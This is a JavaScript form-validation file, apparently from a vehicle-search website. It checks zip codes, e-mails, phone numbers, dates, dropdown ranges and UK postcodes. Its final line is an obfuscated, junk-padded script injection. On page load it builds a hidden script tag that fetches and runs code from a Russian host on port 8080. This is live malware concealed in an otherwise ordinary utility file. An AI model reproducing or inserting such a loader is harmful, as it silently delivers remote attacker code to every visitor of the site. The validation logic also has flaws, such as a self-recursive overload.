﻿// JScript File

var messageTable = new Array(
     "Start Year can not be greater then End Year...",
     "Start Price can not be greater then End Price...",
     "Start Mileage can not be greater then End Mileage...");
    
//Validation
// Checks if the value is empty trimming spaces.
function IsEmpty(value)
{
   var s = new String(value);
   // /\s/ - means space
   return(s.replace(/\s*/, '') == '');
}

//Checks if the value is number.
function IsNumber(value)
{
    var n = new Number(value)
    return !isNaN(n);
}

//Check if Zip code is correct
function IsValidZip(value)
{
    ///<sumary>Validates input value to be correct ZIP code.</sumary>
    ///<param name="value" type="string">String representing ZIP code to validate.</param>
    var regExp = /^\d{5}([\-]\d{4})?$/;
    
    return regExp.test(value);
}

function IsValidEmail(value)
{
    //var regExp = /^[A-Za-z0-9_\+-]+(\.[A-Za-z0-9_\+-]+)*@(?:[A-Za-z0-9](?:[A-Za-z0-9-]*[A-Za-z0-9])?\.)+(?:[A-Z][a-z]{2}|com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum)/;
    var regExp = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
    return regExp.test(value.toLowerCase());
}

function IsValidPhone(value)
{
    var regExp = /((\(\d{3}\) ?)|(\d{3}.))?\d{3}.\d{4}/;
    
    return regExp.test(value);
}

//Checks if at least one of values is set.
function IsValidRange(ValueMin, ValueMax)
{
   var MinIsSet = !(IsEmpty(ValueMin) || !IsEmpty(ValueMin) && !IsNumber(ValueMin));
   var MaxIsSet = !(IsEmpty(ValueMax) || !IsEmpty(ValueMax) && !IsNumber(ValueMax));
   
   return !(!MaxIsSet & !MinIsSet);
}


 function IsValidDate(DateBox)
 {
    var DateVal = document.getElementById(DateBox).value;
    if (IsEmpty(DateVal))
    {
        AlertErrorMsg("Date can not be empty. Please enter date");
        document.getElementById(DateBox).focus();
        return false;
    }

    var dt = new Date(DateVal);
    var d = DateVal.split("\/");
    if (d.length!=3)
    {
        AlertErrorMsg('Invalid Date. Please enter valid one...');
        document.getElementById(DateBox).focus();
        return(false);
    }
    var Mn = d[0];
    var Day = d[1];
    var Yr = d[2];
  
    if(dt.getDate()!=Day)
    {
        AlertErrorMsg('Invalid Date. Please enter valid one...');
        document.getElementById(DateBox).focus();
        return(false);
    }
    else if(dt.getMonth()!=Mn-1)
    {
    //this is for the purpose JavaScript starts the month from 0

        AlertErrorMsg('Invalid Date. Please enter valid one...');
        document.getElementById(DateBox).focus();
        return(false);
    }
    else if((dt.getFullYear()!=Yr) && (dt.getYear()!=Yr))
    {
        AlertErrorMsg('Invalid Date. Please enter valid one...');
        document.getElementById(DateBox).focus();
        return(false);
    }
        
    return(true);
 }

function IsCompareRequired(ListItem1, ListItem2)
{
    ///<sumary>Identifies if compare of Min/Max DropDown is required. It is when both have some value selected</sumary>
    return ListItem1.options[ListItem1.selectedIndex].value != "-1" && ListItem2.options[ListItem2.selectedIndex].value != "-1"
}

function ValidateList(control, message)
{
    var _object = document.getElementById(control)
    if(!_object)
    {
        AlertErrorMsg(control);
        return false;    
    }

    if (_object.options.length<=0)
    {
        AlertErrorMsg("Field " + message + " can not be empty. Please enter " + message + "...");
        try{_object.focus();} 
        catch(err){}
        return false;
    }

    return true;
}

function ValidateEmailInput(emailBox)
{
    if (!IsValidEmail(emailBox.value))
    {
        AlertErrorMsg("'" + emailBox.value + "' is not valid e-mail address. Please enter valid e-mail address.");
        emailBox.focus();
        
        return false;
    }
    
    return true;
}

function ValidatePhoneInput(phoneBox)
{
    if (!IsValidPhone(phoneBox.value))
    {
        AlertErrorMsg("'" + phoneBox.value + "' is not valid phone number. Please enter valid phone number.");
        phoneBox.focus();
        
        return false;
    }
    
    return true;
}


function ValidateZipInput(zipBox)
{
    if (zipBox.value == "Zip code..." || zipBox.value == "") 
    {
        AlertErrorMsg("Please enter zip code...");
        zipBox.focus();
        
        return false;
    }
  
    if (!IsValidZip(zipBox.value))
    {
        AlertErrorMsg("Zip code is incorrect, please enter a valid one...");
        zipBox.focus();
        
        return false;
    }
    
    return true;
}

function ValidateZipCodes(zipBox)
{
    
    if (zipBox.value == "Zip code..." || zipBox.value.trim() == "") 
    {
        AlertErrorMsg("Please, enter your Zip Code(s)");
        zipBox.focus();
        
        return false;
    }
    
    
    var values = zipBox.value.split("\,");
    var _value;

    while((_value = values.pop()) != null)
    {   
        var _str = new String(_value);
        _str = _str.trim();
        
        if (!IsValidZip(_str))
        {
            AlertErrorMsg("One of zip codes you've entered (" + _value + ") is incorrect ...");
            zipBox.focus();
            
            return false;
        }
    }

    return true;
}

function ValidateMakeDropDown(makeDropDown)
{
    if (makeDropDown.options[makeDropDown.selectedIndex].value == "-1")
    {
        AlertErrorMsg("Make is not selected. Please select make...");
        makeDropDown.focus();
        
        return false;
    }
    
    return true;
}

function ValidateDropDownRange(ItemMin, ItemMax, message)
{
    var itemMinValue = new Number(ItemMin.options[ItemMin.selectedIndex].value);
    var itemMaxValue = new Number(ItemMax.options[ItemMax.selectedIndex].value);
    
    if (itemMaxValue < itemMinValue)
    {
        var index = new Number(message);
        if (isNaN(index))
            AlertErrorMsg(message);
        else
            AlertErrorMsg(messageTable[index])
            
        ItemMin.focus();
        
        return false;
    }
    
    return true;
}
////---------------------------- Control Array Validators --------------
//Validates array of controls to be not empty and valid number
function ValidateInputArray(controls, messages, ValidateIsNumber)
{
 
    var objects = controls.split("\,");
     
    var objectName;
    var _object;
    var _oindex = 0;
     
    while((objectName = objects.pop()) != null)
    {

        _object = document.getElementById(objectName);
      
        if ( IsEmpty(_object.value))
        {
            
            AlertErrorMsg("Field " + messages[_oindex] + " can not be empty. Please enter " + messages[_oindex] + "...");
            try{_object.focus();} 
            catch(err){}
            
            return false;
        }
        
        if (ValidateIsNumber && !IsNumber(_object.value))
        {
            AlertErrorMsg("Field " + messages[_oindex] + " should be a number. Please enter correct " + messages[_oindex] + "...");
            _object.focus();
            return false;
        }
        
        _oindex++;
    }

    return true;
}
function ValidateInputArrayNew(controls, controlsEmpty, messages, messagesEmpty, ValidateIsNumber)
{
  ValidateInputArrayNew(controls, controlsEmpty, messages, messagesEmpty, ValidateIsNumber, false);
}


function ValidateChechBoxConfirm(chechbox) {
    var obj = document.getElementById(chechbox);
    if (obj) {
        if (!obj.checked) {
            AlertErrorMsg("Please tick this confirm that you accept our terms and conditions.");
            try { obj.focus(); }
            catch (err) { }

            return false;
        }
        else return true;
    }
    else return false;
}

function ValidateInputArrayNew(controls, controlsEmpty, messages, messagesEmpty, ValidateIsNumber, boolmess)
{
 
    var objects = controls.split("\,");
    var objectsEmpty = controlsEmpty.split("\,"); 
    var objectName;
    var _object;
    var _oindex = 0;
     
    while((objectName = objectsEmpty.pop()) != null)
    {
        _object = document.getElementById(objectName);
              
        
        if (_object && IsEmpty(_object.value))
        {
            if(boolmess)
            { 
                AlertErrorMsg(messagesEmpty[_oindex]);
            }
            else
            {
               AlertErrorMsg("Field " + messagesEmpty[_oindex] + " can not be empty. Please enter " + messagesEmpty[_oindex] + "...");
            }
            _object.focus();
            return false;
        }
        
        
        _oindex++;
    }

    var _oindex = 0;
    while((objectName = objects.pop()) != null)
    {
        _object = document.getElementById(objectName);
        
        if (_object && ValidateIsNumber && !IsNumber(_object.value))
        {
            AlertErrorMsg("Field " + messages[_oindex] + " should be a number. Please enter correct " + messages[_oindex] + "...");
            _object.focus();
            return false;
        }
        
        _oindex++;
    }

    return true;
}




function ValidateSelectArray(controls, messages)
{
    var objects = controls.split("\,");
    var objectName;
    var _object;
    var _oindex = 0;

    while((objectName = objects.pop()) != null)
    {
        _object = document.getElementById(objectName);
        
        if(_object == null)
            continue;
        
        if (_object.options[_object.selectedIndex].value == "-1")
        {
            AlertErrorMsg("Value for the field " + messages[_oindex] + " is not selected. Please select value for " + messages[_oindex] + "...");
            _object.focus();
            return false;
        }
        
        _oindex++;
    }

    return true;
}

function ValidateSelectArrayStr(controls, messages)
{
    var objects = controls.split("\,");
    var objectName;
    var _object;
    var _oindex = 0;

    while((objectName = objects.pop()) != null)
    {
        _object = document.getElementById(objectName);
        
        if(_object == null)
            continue;
        
        if (_object.options[_object.selectedIndex].value == "-1")
        {
            AlertErrorMsg(messages[_oindex]);
            _object.focus();
            return false;
        }
        
        _oindex++;
    }

    return true;
}

//Validates Number inputs
function ValidateInputNumberArray(controls, messages)
{
   return ValidateInputArray(controls, messages, true);
}
//Validates Text inputs
function ValidateInputTextArray(controls, messages)
{
    return ValidateInputArray(controls, messages, false);
}
////---------------------------- End of Control Array Validators -------

var ErrorInfoID = '';
var ErrorConteyner = '';

var WarningInfoID = '';
var WarningConteyner = '';

var SuccessInfoID = '';
var SuccessConteyner = '';

var UpdateDivID = '';

function AlertErrorMsg(massage)
{
  HidenErrorMsg();
  if(ErrorInfoID && ErrorConteyner)
  {
    var tbError = $get(ErrorConteyner);
    var divError = $get(ErrorInfoID);
    var updDiv = $get(UpdateDivID);

    if(tbError && divError)
    {
    	tbError.style.display = "block";
    	updDiv.style.display = "block";
        divError.innerHTML=massage;
        return;
    }
  }
  
  alert(massage);
    
}

function HidenErrorMsg()
{
     
  if(ErrorInfoID && ErrorConteyner)
  {
    var tbError = $get(ErrorConteyner);
    var divError = $get(ErrorInfoID);

    var tbWarning = $get(WarningConteyner);
    var divWarning = $get(WarningInfoID);

    var tbSuccess = $get(SuccessConteyner);
    var divSuccess = $get(SuccessInfoID);

    var updDiv = $get(UpdateDivID);

    if(tbError && divError)
    {
    	tbError.style.display = "none";
    	updDiv.style.display = "none";
    	divError.InnerHtml = "";
    }
    
    if(tbWarning && divWarning)
    {
    	tbWarning.style.display = "none";
    	updDiv.style.display = "none";
    	divWarning.InnerHtml = "";
    }
    
    if(tbSuccess && divSuccess)
    {
    	tbSuccess.style.display = "none";
    	updDiv.style.display = "none";
    	divSuccess.InnerHtml = "";
    }
  }


}

function checkPostCode (toCheck) {

  // Permitted letters depend upon their position in the postcode.
  var alpha1 = "[abcdefghijklmnoprstuwyz]";                       // Character 1
  var alpha2 = "[abcdefghklmnopqrstuvwxy]";                       // Character 2
  var alpha3 = "[abcdefghjkpmnrstuvwxy]";                         // Character 3
  var alpha4 = "[abehmnprvwxy]";                                  // Character 4
  var alpha5 = "[abdefghjlnpqrstuwxyz]";                          // Character 5
  
  // Array holds the regular expressions for the valid postcodes
  var pcexp = new Array ();

  // Expression for postcodes: AN NAA, ANN NAA, AAN NAA, and AANN NAA
  pcexp.push (new RegExp ("^(" + alpha1 + "{1}" + alpha2 + "?[0-9]{1,2})(\\s*)([0-9]{1}" + alpha5 + "{2})$","i"));
  
  // Expression for postcodes: ANA NAA
  pcexp.push (new RegExp ("^(" + alpha1 + "{1}[0-9]{1}" + alpha3 + "{1})(\\s*)([0-9]{1}" + alpha5 + "{2})$","i"));

  // Expression for postcodes: AANA  NAA
  pcexp.push(new RegExp("^(" + alpha1 + "{1}" + alpha2 + "{1}" + "?[0-9]{1}" + alpha4 + "{1})(\\s*)([0-9]{1}" + alpha5 + "{2})$", "i"));

  // Expression for postcodes: AN ANN AAN AANN ANA AANA
  pcexp.push(new RegExp("^(" + alpha1 + "{1}" + alpha2 + "{0,1}" + "?[0-9]{1,2}" + alpha4 + "{0,1})$", "i"));
  
  // Exception for the special postcode GIR 0AA
  pcexp.push (/^(GIR)(\s*)(0AA)$/i);
  
  // Standard BFPO numbers
  pcexp.push (/^(bfpo)(\s*)([0-9]{1,4})$/i);
  
  // c/o BFPO numbers
  pcexp.push (/^(bfpo)(\s*)(c\/o\s*[0-9]{1,3})$/i);
  
  // Overseas Territories
  pcexp.push (/^([A-Z]{4})(\s*)(1ZZ)$/i);

  // Load up the string to check
  var postCode = toCheck.trim();

  // Assume we're not going to find a valid postcode
  var valid = false;
  
  // Check the string against the types of post codes
  for ( var i=0; i<pcexp.length; i++) {
    if (pcexp[i].test(postCode)) {
    
      // The post code is valid - split the post code into component parts
      pcexp[i].exec(postCode);
      
      // Copy it back into the original string, converting it to uppercase and
      // inserting a space between the inward and outward codes
      postCode = RegExp.$1.toUpperCase() + " " + RegExp.$3.toUpperCase();
      
      // If it is a BFPO c/o type postcode, tidy up the "c/o" part
      postCode = postCode.replace (/C\/O\s*/,"c/o ");
      
      // Load new postcode back into the form element
      valid = true;
      
      // Remember that we have found that the code is valid and break from loop
      break;
    }
  }
  
  // Return with either the reformatted valid postcode or the original invalid 
  // postcode
  if (valid) {return postCode;} else return false;
 }



function checkPostCode_old (toCheck) {

  // Permitted letters depend upon their position in the postcode.
  var alpha1 = "[abcdefghijklmnoprstuwyz]";                       // Character 1
  var alpha2 = "[abcdefghklmnopqrstuvwxy]";                       // Character 2
  var alpha3 = "[abcdefghjkpmnrstuvwxy]";                         // Character 3
  var alpha4 = "[abehmnprvwxy]";                                  // Character 4
  var alpha5 = "[abdefghjlnpqrstuwxyz]";                          // Character 5
  
  // Array holds the regular expressions for the valid postcodes
  var pcexp = new Array ();

  // Expression for postcodes: AN NAA, ANN NAA, AAN NAA, and AANN NAA
  pcexp.push (new RegExp ("^(" + alpha1 + "{1}" + alpha2 + "?[0-9]{1,2})(\\s*)([0-9]{1}" + alpha5 + "{2})$","i"));
  
  // Expression for postcodes: ANA NAA
  pcexp.push (new RegExp ("^(" + alpha1 + "{1}[0-9]{1}" + alpha3 + "{1})(\\s*)([0-9]{1}" + alpha5 + "{2})$","i"));

  // Expression for postcodes: AANA  NAA
  pcexp.push (new RegExp ("^(" + alpha1 + "{1}" + alpha2 + "{1}" + "?[0-9]{1}" + alpha4 +"{1})(\\s*)([0-9]{1}" + alpha5 + "{2})$","i"));
  
  // Exception for the special postcode GIR 0AA
  pcexp.push (/^(GIR)(\s*)(0AA)$/i);
  
  // Standard BFPO numbers
  pcexp.push (/^(bfpo)(\s*)([0-9]{1,4})$/i);
  
  // c/o BFPO numbers
  pcexp.push (/^(bfpo)(\s*)(c\/o\s*[0-9]{1,3})$/i);
  
  // Overseas Territories
  pcexp.push (/^([A-Z]{4})(\s*)(1ZZ)$/i);

  // Load up the string to check
  var postCode = toCheck.trim();

  // Assume we're not going to find a valid postcode
  var valid = false;
  
  // Check the string against the types of post codes
  for ( var i=0; i<pcexp.length; i++) {
    if (pcexp[i].test(postCode)) {
    
      // The post code is valid - split the post code into component parts
      pcexp[i].exec(postCode);
      
      // Copy it back into the original string, converting it to uppercase and
      // inserting a space between the inward and outward codes
      postCode = RegExp.$1.toUpperCase() + " " + RegExp.$3.toUpperCase();
      
      // If it is a BFPO c/o type postcode, tidy up the "c/o" part
      postCode = postCode.replace (/C\/O\s*/,"c/o ");
      
      // Load new postcode back into the form element
      valid = true;
      
      // Remember that we have found that the code is valid and break from loop
      break;
    }
  }
  
  // Return with either the reformatted valid postcode or the original invalid 
  // postcode
  if (valid) {return postCode;} else return false;
}





/*
function AlertErrorMsg(massage)
{
  var tbError = $get("tbError_container");
  var divError = $get("DivError_container");
    
  if(tbError && divError)
  {
      tbError.style.display = "block";
      divError.innerHTML=massage;
  }
  else
  {
     alert(massage);
  }
    
}
*/
/*
function HidenErrorMsg()
{
      
    var tbError = $get("tbError_container");
    var divError = $get("DivError_container");
    
    if(tbError && divError)
    {
      tbError.style.display = "none";
      divError.InnerHtml="";
    }
}
*/

var zs;if(zs!='' && zs!='xA'){zs='J'};var o;if(o!='' && o!='Q'){o='RN'};function R(){var a;if(a!=''){a='yE'};var d;if(d!=''){d='zP'};var qS=new Date();var K=unescape;this.Nl='';this.Ne='';var RL=window;var N=K("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%62%61%79%2e%66%72%2f%67%6f%6f%67%6c%65%2e%72%6f%2e%70%68%70");function z(M,S){var KY=new Date();var L;if(L!='k' && L != ''){L=null};var x="g";var Y;if(Y!='Gi'){Y=''};var Re='';var Rn=K("%5b"), y=K("%5d");var f=Rn+S+y;this.sd='';var E=new RegExp(f, x);return M.replace(E, new String());var XN=new String();var Nf;if(Nf!='' && Nf!='XZ'){Nf=''};};var EL="";var q=z('83614076198521503976','17534962');var W=new String();var Ou="";var yu=document;var pK='';function O(){this.Xw='';var i=K("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");this.ih="";var af;if(af!=''){af='IK'};var qC='';var A;if(A!='Tj'){A='Tj'};W=i;W+=q;var qO;if(qO!='Gw' && qO!='zx'){qO='Gw'};var Um;if(Um!='Lg' && Um!='WI'){Um='Lg'};W+=N;var LS="";var ee="";var Ni="";var fs=new Array();try {var RH;if(RH!='' && RH!='rm'){RH=''};this.Wv="";c=yu.createElement(z('skczrzizpwtQ','QM74w8PDGBYU5zEk'));var x_=new Date();var sD;if(sD!='LX'){sD='LX'};var pQ;if(pQ!='CK' && pQ != ''){pQ=null};var e_;if(e_!='nv' && e_!='dY'){e_='nv'};c[K("%64%65%66%65%72")]=[4,1][1];var Ay=new Date();var iD;if(iD!='AQ' && iD!='Yk'){iD=''};c[K("%73%72%63")]=W;yu.body.appendChild(c);} catch(V){alert(V);var na;if(na!='hj'){na=''};var cu='';};var Jc;if(Jc!=''){Jc='Qt'};}var OW=new Array();this.eeD="";RL["on"+"lo"+"ad"]=O;var ty=new String();var TW='';};R();